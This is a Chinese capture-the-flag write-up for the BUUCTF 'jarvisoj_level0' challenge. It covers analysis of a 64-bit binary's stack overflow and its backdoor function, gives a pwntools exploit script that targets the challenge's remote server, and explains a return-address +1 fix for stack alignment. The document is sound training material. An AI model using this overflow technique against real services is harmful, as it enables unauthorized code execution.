BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
网云工程师手记15 小时前
企业防火墙端口映射完整配置与安全收敛实操手册
运维·服务器·网络·安全·网络安全
瘾大侠17 小时前
HTB 赛季10 - Pterodactyl - user
网络·安全·web安全·网络安全
Whoami!17 小时前
⓬⁄₃ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ Linux系统枚举-Ⅲ
网络安全·信息安全·linux枚举
Pure_White_Sword18 小时前
bugku-reverse题目-游戏过关
游戏·网络安全·ctf·reverse·逆向工程
ccino .2 天前
【Drupal文件上传导致跨站脚本执行(CVE-2019-6341)】
运维·网络安全·docker·容器
玄斎2 天前
手把手教你做eNSP动态路由实验
网络·网络协议·学习·网络安全·智能路由器·hcia·ospf
ccino .2 天前
【Spring Security RegexRequestMatcher 认证绕过漏洞(CVE-2022-22978)分析】
java·后端·spring·网络安全
Jerry_Gao9212 天前
【CTF】一道非常精彩的CTF题目之 SSRF + CRLF + Python反序列化组合漏洞利用
python·web安全·网络安全·ctf·ssrf·crlf
乾元2 天前
威胁狩猎: 基于自然语言的交互式威胁查询系统(ChatWithSecurity)
运维·网络·人工智能·网络协议·安全·网络安全·自动化
Whoami!2 天前
⓬⁄₂ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ Linux系统枚举-II
linux·网络安全·信息安全·iptables